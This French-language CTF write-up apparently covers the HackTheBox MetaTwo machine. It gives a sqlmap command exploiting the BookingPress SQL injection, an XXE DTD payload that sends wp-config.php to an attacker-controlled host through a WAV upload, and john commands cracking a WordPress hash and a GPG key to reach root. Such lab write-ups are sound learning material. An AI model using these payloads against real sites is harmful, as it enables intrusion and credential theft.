WordPress + plugin BookingPress vulnérable à une SQLi (CVE-2022-0739). XXE sur la Media Library (CVE-2021-29447) pour exfiltrer credentials FTP. Escalade via Passpie/GPG cracké.
Site WordPress avec plugin BookingPress 1.0.10, vulnérable à une SQLi non authentifiée sur le paramètre total_service.
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST \
--data "action=bookingpress_front_get_category_services&_wpnonce=...&category_id=123&total_service=111" \
-p total_service -D blog -T wp_users --dump
# → manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
john --wordlist=rockyou.txt wp_users.hash
# → manager:partylikearockstar
WordPress 5.6.2 parse les fichiers WAV avec un parser XML qui honore les entités externes. Upload d'un WAV malveillant → exfiltration de wp-config.php via HTTP.
# evil.dtd (servi par notre HTTP server)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.50:8080/?p=%file;'>">
# payload.wav : headers RIFF + XML avec entités externes
# Upload dans WordPress Media Library → requête HTTP reçue → base64 décoder
echo "BASE64" | base64 -d
# → define('FTP_PASS', '9NYS_ii@FyL_p5M2NvJ');
Connexion FTP → fichier mailer/send_email.php → credentials SSH jnelson.
Le home de jnelson contient un répertoire .passpie, gestionnaire de mots de passe chiffré par GPG.
scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./keys
gpg2john keys > keys.hash
john --wordlist=rockyou.txt keys.hash --format=gpg
# → blink182
passpie export ~/password.db # passphrase blink182
# → root: p7qfAZt4_A1xo_0x
su root
MetaTwo enchaîne trois techniques distinctes sur WordPress : SQLi, XXE, et crackage de clé GPG. Ce qui m'a appris quelque chose : les gestionnaires de mots de passe sont aussi sûrs que leur passphrase. blink182 dans rockyou.txt, c'est l'équivalent d'une porte blindée avec une serrure de jouet.